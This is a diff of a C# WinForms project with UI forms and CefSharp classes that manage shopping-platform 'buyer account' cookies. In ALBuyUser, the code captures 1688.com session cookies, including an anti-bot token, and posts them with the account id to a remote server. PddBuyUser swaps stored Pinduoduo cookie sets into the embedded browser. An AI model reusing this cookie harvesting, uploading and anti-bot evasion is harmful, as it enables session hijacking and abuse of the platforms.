this.Cursor = Cursors.Hand;
}
private void PictureBox2_MouseLeave(object sender, EventArgs e)
{
this.pbMinBase.Image = global::Work.Properties.Resources.min;
this.Cursor = Cursors.Default;
}
public virtual void HideTitle()
{
// this.panel1.Visible = false;
}
#region 窗体提交数据完成事件
public event Action<object> SaveComplete;
protected virtual void OnSaveComplete(object param)
{
this.SaveComplete?.Invoke(param);
}
#endregion
private void pbNormalBase_Click(object sender, EventArgs e)
{
WindowState = FormWindowState.Normal;
this.pbMaxBase.Visible = true;
this.pbNormalBase.Visible = false;
}
private void pbNormalBase_MouseHover(object sender, EventArgs e)
{
this.pbNormalBase.Image = global::Work.Properties.Resources.normal_hover;
this.Cursor = Cursors.Hand;
}
private void pbNormalBase_MouseLeave(object sender, EventArgs e)
{
this.pbNormalBase.Image = global::Work.Properties.Resources.normal;
this.Cursor = Cursors.Default;
}
private void pbMaxBase_Click(object sender, EventArgs e)
{
WindowState = FormWindowState.Maximized;
this.pbMaxBase.Visible = false;
this.pbNormalBase.Visible = true;
}
private void pbMaxBase_MouseHover(object sender, EventArgs e)
{
this.pbMaxBase.Image = global::Work.Properties.Resources.max_hover;
this.Cursor = Cursors.Hand;
}
private void pbMaxBase_MouseLeave(object sender, EventArgs e)
{
this.pbMaxBase.Image = global::Work.Properties.Resources.max;
this.Cursor = Cursors.Default;
}
private Point mPoint;
private void panel2_MouseDown(object sender, MouseEventArgs e)
{
mPoint = new Point(e.X, e.Y);
}
private void panel2_MouseMove(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
{
this.Location = new Point(this.Location.X + e.X - mPoint.X, this.Location.Y + e.Y - mPoint.Y);
}
}
}
}
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
+145
View File
@@ -0,0 +1,145 @@
namespace Work.BaseForms
{
partial class BaseMsgForm
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.panel2 = new System.Windows.Forms.Panel();
this.pnlCancel = new DevComponents.DotNetBar.PanelEx();
this.pnlConfirm = new DevComponents.DotNetBar.PanelEx();
this.picTip = new System.Windows.Forms.PictureBox();
this.lblMsg = new System.Windows.Forms.Label();
this.panel2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.picTip)).BeginInit();
this.SuspendLayout();
//
// panel2
//
this.panel2.BackColor = System.Drawing.Color.White;
this.panel2.Controls.Add(this.pnlCancel);
this.panel2.Controls.Add(this.pnlConfirm);
this.panel2.Controls.Add(this.picTip);
this.panel2.Controls.Add(this.lblMsg);
this.panel2.Location = new System.Drawing.Point(3, 32);
this.panel2.Name = "panel2";
this.panel2.Size = new System.Drawing.Size(382, 182);
this.panel2.TabIndex = 2;
//
// pnlCancel
//
this.pnlCancel.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
this.pnlCancel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled;
this.pnlCancel.Cursor = System.Windows.Forms.Cursors.Hand;
this.pnlCancel.DisabledBackColor = System.Drawing.Color.Empty;
this.pnlCancel.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134)));
this.pnlCancel.Location = new System.Drawing.Point(280, 132);
this.pnlCancel.Name = "pnlCancel";
this.pnlCancel.Size = new System.Drawing.Size(80, 30);
this.pnlCancel.Style.Alignment = System.Drawing.StringAlignment.Center;
this.pnlCancel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224)))));
this.pnlCancel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224)))));
this.pnlCancel.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine;
this.pnlCancel.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233)))));
this.pnlCancel.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Custom;
this.pnlCancel.Style.ForeColor.Color = System.Drawing.Color.Black;
this.pnlCancel.Style.GradientAngle = 90;
this.pnlCancel.TabIndex = 43;
this.pnlCancel.Text = "取 消";
this.pnlCancel.Click += new System.EventHandler(this.pnlCancel_Click);
//
// pnlConfirm
//
this.pnlConfirm.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right)));
this.pnlConfirm.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled;
this.pnlConfirm.Cursor = System.Windows.Forms.Cursors.Hand;
this.pnlConfirm.DisabledBackColor = System.Drawing.Color.Empty;
this.pnlConfirm.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134)));
this.pnlConfirm.Location = new System.Drawing.Point(163, 132);
this.pnlConfirm.Name = "pnlConfirm";
this.pnlConfirm.Size = new System.Drawing.Size(80, 30);
this.pnlConfirm.Style.Alignment = System.Drawing.StringAlignment.Center;
this.pnlConfirm.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233)))));
this.pnlConfirm.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233)))));
this.pnlConfirm.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder;
this.pnlConfirm.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash;
this.pnlConfirm.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None;
this.pnlConfirm.Style.ForeColor.Color = System.Drawing.Color.White;
this.pnlConfirm.Style.GradientAngle = 90;
this.pnlConfirm.TabIndex = 42;
this.pnlConfirm.Text = "确 定";
this.pnlConfirm.Click += new System.EventHandler(this.pnlConfirm_Click);
//
// picTip
//
this.picTip.Location = new System.Drawing.Point(25, 52);
this.picTip.Name = "picTip";
this.picTip.Size = new System.Drawing.Size(64, 64);
this.picTip.TabIndex = 41;
this.picTip.TabStop = false;
//
// lblMsg
//
this.lblMsg.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.lblMsg.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134)));
this.lblMsg.Location = new System.Drawing.Point(112, 52);
this.lblMsg.Name = "lblMsg";
this.lblMsg.Size = new System.Drawing.Size(248, 65);
this.lblMsg.TabIndex = 40;
this.lblMsg.Text = "信息";
this.lblMsg.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// BaseMsgForm
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233)))));
this.ClientSize = new System.Drawing.Size(388, 217);
this.Controls.Add(this.panel2);
this.Location = new System.Drawing.Point(0, 0);
this.Name = "BaseMsgForm";
this.Text = "BaseMsgForm";
this.TitleText = "BaseMsgForm";
this.WindowState = System.Windows.Forms.FormWindowState.Normal;
this.Controls.SetChildIndex(this.panel2, 0);
this.panel2.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.picTip)).EndInit();
this.ResumeLayout(false);
}
#endregion
private System.Windows.Forms.Panel panel2;
private DevComponents.DotNetBar.PanelEx pnlCancel;
private DevComponents.DotNetBar.PanelEx pnlConfirm;
private System.Windows.Forms.PictureBox picTip;
private System.Windows.Forms.Label lblMsg;
}
}
+136
View File
@@ -0,0 +1,136 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Work.BaseForms
{
public partial class BaseMsgForm : BaseForm
{
public BaseMsgForm()
{
InitializeComponent();
this.Minimized = this.MinimizeBox = false;
this.AcceptButton = pnlConfirm;
SetWindowRegion();
}
#region 设置窗体圆角
/// <summary>
/// 设置窗体的Region
/// </summary>
public void SetWindowRegion()
{
//GraphicsPath FormPath;
//Rectangle rect = new Rectangle(0, 0, this.Width, this.Height);
//FormPath = GetRoundedRectPath(rect, 6);
//this.Region = new Region(FormPath);
Helper.WindowStyle.SetFormRoundRectRgn(this, 6);
Helper.WindowStyle.SetFormRoundRectRgn(this.panel2, 5);
}
/// <summary>
/// 绘制圆角路径
/// </summary>
/// <param name="rect"></param>
/// <param name="radius"></param>
/// <returns></returns>
private GraphicsPath GetRoundedRectPath(Rectangle rect, int radius)
{
int diameter = radius;
Rectangle arcRect = new Rectangle(rect.Location, new Size(diameter, diameter));
GraphicsPath path = new GraphicsPath();
// 左上角
path.AddArc(arcRect, 180, 90);
// 右上角
arcRect.X = rect.Right - diameter;
path.AddArc(arcRect, 270, 90);
// 右下角
arcRect.Y = rect.Bottom - diameter;
path.AddArc(arcRect, 0, 90);
// 左下角
arcRect.X = rect.Left;
path.AddArc(arcRect, 90, 90);
path.CloseFigure();//闭合曲线
return path;
}
#endregion
public static BaseMsgForm ShowInfo(string msg, string caption = "", FormLevel fl = FormLevel.MEDIUM)
{
string title = string.IsNullOrEmpty(caption) ? "系统提示" : caption;
BaseMsgForm msgBox = CreateMsgForm(msg, fl, title);
msgBox.picTip.Image = global::Work.Properties.Resources.BaseMsgInfo;
msgBox.ShowDialog();
return msgBox;
}
private static BaseMsgForm CreateMsgForm(string msg, FormLevel fl, string title)
{
BaseMsgForm msgBox = new BaseMsgForm { Text = title, lblMsg = { Text = msg }, TitleText = title };
if (fl.Equals(FormLevel.LARGE))
{
msgBox.Width = (int)FormLevel.LARGE;
msgBox.Height = 280;
}
msgBox.pnlConfirm.Location = msgBox.pnlCancel.Location; // 把确认按钮移到取消按钮上面
msgBox.pnlCancel.Visible = false;
return msgBox;
}
public static BaseMsgForm ShowError(string msg, string caption = "", FormLevel fl = FormLevel.MEDIUM)
{
string title = string.IsNullOrEmpty(caption) ? "系统错误" : caption;
BaseMsgForm msgBox = CreateMsgForm(msg, fl, title);
msgBox.picTip.Image = global::Work.Properties.Resources.BaseMsgErr;
msgBox.ShowDialog();
return msgBox;
}
public static BaseMsgForm ShowConfirm(string msg, string caption = "", FormLevel fl = FormLevel.MEDIUM)
{
string title = string.IsNullOrEmpty(caption) ? "系统提示确认" : caption;
BaseMsgForm msgBox = new BaseMsgForm
{
Text = title,
lblMsg = { Text = msg },
TitleText = title,
picTip = { Image = global::Work.Properties.Resources.BaseMsgQue }
};
if (fl.Equals(FormLevel.LARGE))
{
msgBox.Width = (int)FormLevel.LARGE;
}
msgBox.ShowDialog();
return msgBox;
}
private void pnlConfirm_Click(object sender, EventArgs e)
{
DialogResult = DialogResult.OK;
}
private void pnlCancel_Click(object sender, EventArgs e)
{
DialogResult = DialogResult.Cancel;
}
}
public enum FormLevel
{
SMALL,
MEDIUM,
LARGE = 500
}
}
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
+44
View File
@@ -0,0 +1,44 @@
using AllBase;
using CefSharp.WinForms;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace _29WxOrder
{
public class BoundJs
{
public static ChromiumWebBrowser OwnerBrowser;
//public SearchSameForm SearchForm;
public BoundJs(ChromiumWebBrowser OwnerBrowserx/*, SearchSameForm searchForm*/)//构造与JS交互的方法
{
OwnerBrowser = OwnerBrowserx;
//SearchForm = searchForm;
}
public void myfunc(string aniContent)
{
BaseClass.AntiContent = aniContent;
//try
//{
// JavascriptResponse task = await OwnerBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(PinDuoDuoAntiJs.PinDuoDuo_0anA);
// BaseClass.AntiContent = task.Result.ToString();
//}
//catch (Exception)
//{
// //throw;
//}
}
public void addproId(string upId)
{
//SearchForm.SetUpProductId(upId);
}
}
}
+181
View File
@@ -0,0 +1,181 @@
using AllBase;
using CefSharp;
using NaiBa.CefHelper;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace Work.BuyUsers
{
public class ALBuyUser
{
public static Dictionary<BuyNumber, UserCookies> buyUserCookies = new Dictionary<BuyNumber, UserCookies>();//拍单买手号
private List<Cookie> cookies;
public void DeleteAL()
{
var cookieManager = Cef.GetGlobalCookieManager();
CEFBrowser.DeleteCookie(cookieManager, "1688.com");
}
/// <summary>
/// 保存cookie
/// </summary>
public string SaveCookies(List<CefSharp.Cookie> cookie)
{
string cookies = "";
foreach (CefSharp.Cookie item in cookie)
{
cookies += item.Name + "=" + item.Value + ";";
string mainDomain = GetHtml.GetMainDomain(item.Domain);
if (BaseClass.CookiesAll.ContainsKey(mainDomain))
{
if (BaseClass.CookiesAll[mainDomain].ContainsKey(item.Name))
BaseClass.CookiesAll[mainDomain][item.Name] = item.Value;
else
BaseClass.CookiesAll[mainDomain].Add(item.Name, item.Value);
}
else
{
BaseClass.CookiesAll.Add(mainDomain, new Dictionary<string, string>());
BaseClass.CookiesAll[mainDomain].Add(item.Name, item.Value);
}
}
BaseClass.ChromeCookies = cookies;
foreach (KeyValuePair<string, Dictionary<string, string>> co in BaseClass.CookiesAll) // 同步到系统
{
string cook = "";
for (int i = 0; i < co.Value.Count; i++)
{
KeyValuePair<string, string> c = co.Value.ToArray()[i];
if (c.Key == "x5sec")
{
if (!string.IsNullOrEmpty(c.Value))
{
cook += c.Key + "=" + c.Value + "; ";
}
else if (!string.IsNullOrEmpty(BaseClass.x5Sec))
{
cook += c.Key + "=" + BaseClass.x5Sec + "; ";
}
else
{
cook += c.Key + "=" + c.Value + "; ";
}
}
else
{
cook += c.Key + "=" + c.Value + "; ";
}
}
if (BaseClass.CookiesAllString.ContainsKey(co.Key))
BaseClass.CookiesAllString[co.Key] = cook;
else
BaseClass.CookiesAllString.Add(co.Key, cook);
}
string mainDomainx = "1688.com";
string uid = BaseClass.CookiesAll[mainDomainx]["unb"];
string name = BaseClass.CookiesAll[mainDomainx]["_nk_"];
name = GetHtml.Decode(name.Replace("%5Cu", "\\u"));
name = HttpUtility.UrlDecode(name);
//string cookies = BaseClass.CookiesAllString["yangkeduo.com"];
string url = BaseClass.DouYinBuildObjString("user_login_cookies&act=insert");
StringBuilder data = new StringBuilder();
data.Append("&user_name=" + name);
data.Append("&site_id=3");
data.Append("&user_id=" + uid);
data.Append("&cookies=" + GetHtml.UrlEncodeUtf8(cookies));
string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data);
BuyNumber buynumber = new BuyNumber(3, uid, name);
List<Cookie> listcookie = new List<Cookie>();
foreach (var item in cookie)
{
Cookie c = new Cookie();
c.Domain = "1688.com";
c.Expires = DateTime.Now.AddDays(10);
c.Name = item.Name;
c.Value = item.Value;
c.Path = "/";
listcookie.Add(c);
}
UserCookies uc = new UserCookies();
uc.Cookies = listcookie;
uc.UserName = name;
uc.uid = uid;
uc.SiteId = 3;
uc.Times = 0;
if (!buyUserCookies.ContainsKey(buynumber))
buyUserCookies.Add(buynumber, uc);
else
buyUserCookies[buynumber] = uc;
return uid;
}
public void DelCookies(BuyNumber buynumber)
{
buyUserCookies.Remove(buynumber);
}
/// <summary>
/// 添加cookies到集合
/// </summary>
public void AddBuyUserCookies(string uid, string name, string cookies)
{
BuyNumber buynumber = new BuyNumber(3, uid, name);
string[] l = cookies.Split(';');
List<Cookie> cookie = new List<Cookie>();
for (int j = 0; j < l.Length; j++)
{
if (string.IsNullOrEmpty(l[j]) || !l[j].Contains("="))
continue;
string[] ll = l[j].Split('=');
Cookie c = new Cookie();
c.Domain = "1688.com";
c.Expires = DateTime.Now.AddDays(10);
c.Name = ll[0].Trim();
c.Value = ll[1];
c.Path = "/";
cookie.Add(c);
}
UserCookies uc = new UserCookies();
uc.Cookies = cookie;
uc.UserName = name;
uc.uid = uid;
uc.SiteId = 3;
uc.Times = 0;
if (!buyUserCookies.ContainsKey(buynumber))
buyUserCookies.Add(buynumber, uc);
else
buyUserCookies[buynumber] = uc;
}
public bool SetAL(string uid, int siteid = -1)
{
var usercookie = buyUserCookies.ToList().Find(x => x.Value.uid == uid);
if (siteid >= 0)
{
usercookie = buyUserCookies.ToList().Find(x => x.Value.uid == uid && x.Value.SiteId == siteid);
}
if (usercookie.Key == null)
{
return false;
}
DeleteAL();
cookies = usercookie.Value.Cookies;
var cookieManager = Cef.GetGlobalCookieManager();
//cookieManager.SetStoragePath(Environment.CurrentDirectory, true);
string domain = "1688.com";
CEFBrowser.SetCookieAsync(Work.Helper.CEFHelper.CefCookieToCookieStr(cookies), cookieManager);
return true;
}
}
}
+29
View File
@@ -0,0 +1,29 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.BuyUsers
{
public class CookieVisitor : CefSharp.ICookieVisitor
{
public event Action<CefSharp.Cookie> SendCookie;
public void Dispose()
{
}
public bool Visit(CefSharp.Cookie cookie, int count, int total, ref bool deleteCookie)
{
deleteCookie = false;
if (SendCookie != null)
{
SendCookie(cookie);
}
return true;
}
}
}
+340
View File
@@ -0,0 +1,340 @@
using AllBase;
using CefSharp;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace Work.BuyUsers
{
public class PddBuyUser
{
public static Dictionary<BuyNumber, UserCookies> buyUserCookies = new Dictionary<BuyNumber, UserCookies>();//拍单买手号
private BuyNumber buynumber;
private List<Cookie> Cookies;
public void Set(string uid, string cookiesStr = "", int site = -1)
{
try
{
KeyValuePair<BuyNumber, UserCookies> usercookie;
if (site >= 0)
{
usercookie = buyUserCookies.First(x => x.Value.uid == uid && x.Value.SiteId == site);
}
else
{
usercookie = buyUserCookies.First(x => x.Value.uid == uid);
}
Cookies = usercookie.Value.Cookies;//UserCookies[mobile];
Delete();
var cookieManager = Cef.GetGlobalCookieManager();
//cookieManager.SetStoragePath(Environment.CurrentDirectory, true);
string domain = BaseClass.PddMobileUrlx;
string cookiestr = "";
foreach (Cookie c in Cookies)
{
cookiestr += c.Name + "=" + c.Value + ";";
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddDays(10),
Path = "/"
};
try
{
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
catch (Exception ex)
{
}
}
new Thread(Set).Start();
if (!BaseClass.CookiesAllString.ContainsKey("yangkeduo.com"))
{
BaseClass.CookiesAllString.Add("yangkeduo.com", cookiestr);
}
else
{
BaseClass.CookiesAllString["pinduoduo.com"] = cookiestr;
}
}
catch (Exception ex)
{
}
}
/// <summary>
/// 重试一次设置cookies
/// </summary>
public void Set()
{
Thread.Sleep(1000);
try
{
var cookieManager = Cef.GetGlobalCookieManager();
//cookieManager.SetStoragePath(Environment.CurrentDirectory, true);
string domain = BaseClass.PddMobileUrlx;
foreach (Cookie c in Cookies)
{
var cookie = new CefSharp.Cookie
{
Domain = c.Domain,
Name = c.Name,
Value = c.Value,
Expires = DateTime.Now.AddDays(10),
Path = "/"
};
Task<bool> task = cookieManager.SetCookieAsync(domain, cookie);
while (!task.IsCompleted)
{
Thread.Sleep(1);
continue;
}
}
}
catch (Exception)
{
throw;
}
}
public void Delete()
{
var cookieManager = Cef.GetGlobalCookieManager();
if (BaseClass.CookiesAllString.ContainsKey("yangkeduo.com"))
{
var cookies = BaseClass.CookiesAllString["yangkeduo.com"];
string[] l = cookies.Split(';');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("="))
continue;
string name = l[i].Split('=')[0].Trim();
try
{
cookieManager.DeleteCookies(BaseClass.PddMobileUrlx, name);
//cookieManager.DeleteCookies(BaseClass.PddMobileUrlx, name);
}
catch
{
}
}
}
}
public void DelCookies(BuyNumber buynumber)
{
buyUserCookies.Remove(buynumber);
}
/// <summary>
/// 保存cookie
/// </summary>
public void SaveCookies(string uid, string name, List<CefSharp.Cookie> cookie)
{
string cookies = "";
foreach (CefSharp.Cookie item in cookie)
{
cookies += item.Name + "=" + item.Value + ";";
string mainDomain = GetHtml.GetMainDomain(item.Domain);
if (BaseClass.CookiesAll.ContainsKey(mainDomain))
{
if (BaseClass.CookiesAll[mainDomain].ContainsKey(item.Name))
BaseClass.CookiesAll[mainDomain][item.Name] = item.Value;
else
BaseClass.CookiesAll[mainDomain].Add(item.Name, item.Value);
}
else
{
BaseClass.CookiesAll.Add(mainDomain, new Dictionary<string, string>());
BaseClass.CookiesAll[mainDomain].Add(item.Name, item.Value);
}
}
BaseClass.ChromeCookies = cookies;
